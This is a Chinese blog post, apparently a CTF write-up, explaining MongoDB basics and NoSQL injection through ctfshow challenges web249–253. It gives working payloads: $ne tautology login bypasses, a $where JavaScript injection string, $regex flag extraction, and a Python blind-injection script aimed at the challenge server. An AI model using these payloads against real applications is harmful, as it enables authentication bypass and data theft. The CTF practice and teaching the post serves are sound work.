目录

  1. 1. 前言
  2. 2. 基础语法
    1. 2.1. 数据库
    2. 2.2. 集合
    3. 2.3. 文档
  3. 3. PHP操作MongoDB
  4. 4. 注入分类
    1. 4.1. 重言式注入
    2. 4.2. 联合查询注入
    3. 4.3. JavaScript注入/$where注入
  5. 5. 题目实战
    1. 5.1. ctfshow web249(memcache)
    2. 5.2. ctfshow web250(永真式)
    3. 5.3. ctfshow web251
    4. 5.4. ctfshow web252(正则)
    5. 5.5. ctfshow web253(盲注)

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

NoSQL注入

2023/8/20 Web Sql ctfshow
  |     |   总文章阅读量:

前言

菜鸟教程 nosql

ctfshow web249-253

参考:http://www.mi1k7ea.com/2019/08/11/NoSQL%E6%B3%A8%E5%85%A5%E4%B9%8BMongoDB


基础语法

使用docker上的MongoDB 7.0.0进行测试

数据库

创建/切换数据库

use user
db

查看所有数据库

show dbs

插入数据

db.user.insertOne({"name":"C1oudfL0w0"})

MongoDB 中默认的数据库为 test,如果你没有创建新的数据库,集合将存放在 test 数据库中

image-20230820181407534

删除数据库

db.dropDatabase()

集合

对应MySQL中的表

创建集合

db.createCollection(name, options)
  • name: 要创建的集合名称
  • options: 可选参数,指定有关内存大小及索引的选项,可选cappedsizemaxautoIndexId(3.2 之后不再支持该参数)

查看已有集合

show collections

image-20230820182705287


文档

document,对应MySQL的row

插入文档

insert()方法

db.COLLECTION_NAME.insert(document)

若插入的数据主键已经存在,则会抛出 org.springframework.dao.DuplicateKeyException 异常,提示主键重复,不保存当前数据。

save()方法

db.COLLECTION_NAME.save(document)

如果 _id 主键存在则更新数据,如果不存在就插入数据。该方法新版本中已废弃,可以使用 db.collection.insertOne()db.collection.replaceOne() 来代替。

实例:

插入文档

db.col.insert({username: 'C1oudfL0w0', password: 'ahaha',level: 100 })

查看文档

db.col.find()

image-20230820183359608


PHP操作MongoDB

<?php
$mongo = new MongoClient();
$db = $mongo->myinfo; //选择数据库
$coll = $db->test; //选择集合
$coll->save();    //增
$coll->find();    //查
$coll->remove();    //减
$coll->update();    //改
?>

注入分类

重言式注入

又称为永真式,此类攻击是在条件语句中注入代码,使生成的表达式判定结果永远为真,从而绕过认证或访问机制

万能密码:username[$ne]=1&password[$ne]=1

联合查询注入

联合查询是一种众所周知的SQL注入技术,攻击者利用一个脆弱的参数去改变给定查询返回的数据集。联合查询最常用的用法是绕过认证页面获取数据

JavaScript注入/$where注入

这是一种新的漏洞,由允许执行数据内容中JavaScript的NoSQL数据库引入的。JavaScript使在数据引擎进行复杂事务和查询成为可能。传递不干净的用户输入到这些查询中可以注入任意JavaScript代码,这会导致非法的数据获取或篡改

username=test&password=a';return true;var c='

题目实战

参考羽师傅的博客

ctfshow web249(memcache)

查询语句

$user = $memcache->get($id);

是Memcache缓存数据库,相关的php语法:

<?php
$m = new Memcache;             //创建一个memcache对象
$m->connect('localhost', 11451); //连接Memcached服务器
$m->set('key', 'test');        //设置一个变量到内存中,名称是key值是test
$get_value = $m->get('key');   //从内存中取出key的值
$m->close();
?>

那么很明显就是从get方法入手

image-20230820184240507

image-20230820184257227

get中传入参数或者数组,就可以返回指定的键值对

所以直接查询即可(题目好像不能直接传入参数只能传数组)

?id[]=flag

ctfshow web250(永真式)

查询语句

$query = new MongoDB\Driver\Query($data);
$cursor = $manager->executeQuery('ctfshow.ctfshow_user', $query)->toArray();

没有过滤

是MongoDB数据库注入,对应的基本语法:

SQL术语/概念 MongoDB术语/概念 解释/说明
database database 数据库
table collection 数据库表/集合
row document 数据记录行/文档
column field 数据字段/域

重点还是MongoDB的条件语句

操作 格式 范例 RDBMS中的类似语句
等于 {:} db.userinfo.find({“name”:“C1oudfL0w0”}) where name = ‘C1oudfL0w0’
小于 {:{$lt:}} db.userinfo.find({“age”:{$lt:20}}) where age < 20
小于或等于 {:{$lte:}} db.userinfo.find({“age”:{$lte:20}}) where age <= 20
大于 {:{$gt:}} db.userinfo.find({“age”:{$gt:20}}) where age > 20
大于或等于 {:{$gte:}} db.userinfo.find({“age”:{$gte:20}}) where age >= 20
不等于 {:{$ne:}} db.userinfo.find({“likes”:{$ne:20}}) where age != 20

AND 查询

db.userinfo.find({key1:value1, key2:value2})

OR 查询

db.userinfo.find({$or: [{key1: value1}, {key2:value2}]})

查询,类似于 where username='C1oudfL0w0',其中userinfo是集合名

db.userinfo.find({name:'C1oudfL0w0'});

而在条件语句中有一句可以利用的是

db.userinfo.find({"likes":{$ne:20}})

where likes != 20,这个式子一定是永真的

所以回到题目

我们传入 username[$ne]=1&password[$ne]=1,等价于where username!=1&password!=1

即可实现永真


ctfshow web251

上一题的payload打进去即可


ctfshow web252(正则)

查询语句

db.ctfshow_user.find({username:'$username',password:'$password'}).pretty()

pretty()函数纯美化,所以查询语句根本没变

用之前的payload打发现这题flag不在admin下了,应该是在其它条目里

这里就需要用到正则匹配了,用^查找以什么为开头的字段

username[$ne]=1&password[$regex]=^ctfshow{


ctfshow web253(盲注)

上题的payload能登录成功,但是不回显查询内容了

这个时候我们尝试在上题的payload基础上再加个字母

image-20230820191239673

登录失败,那么应该可以进行盲注

脚本

import requests
string="abcdefghigklmnopqrstuwxyz1230456789{}_-"
flag='{'
url="http://271deadc-a024-466a-ab2f-cc617799befb.challenge.ctf.show/api/"
while True:
    for j in string:
        data={
            "username[$ne]":1,
            "password[$regex]":f"ctfshow{flag+j}"
        }
        r=requests.post(url,data=data)
        if "\\u767b\\u9646\\u6210\\u529f" in r.text:
            sign=j
            flag+=j
            print(flag)
        else:
            pass
    if sign=='}':
        break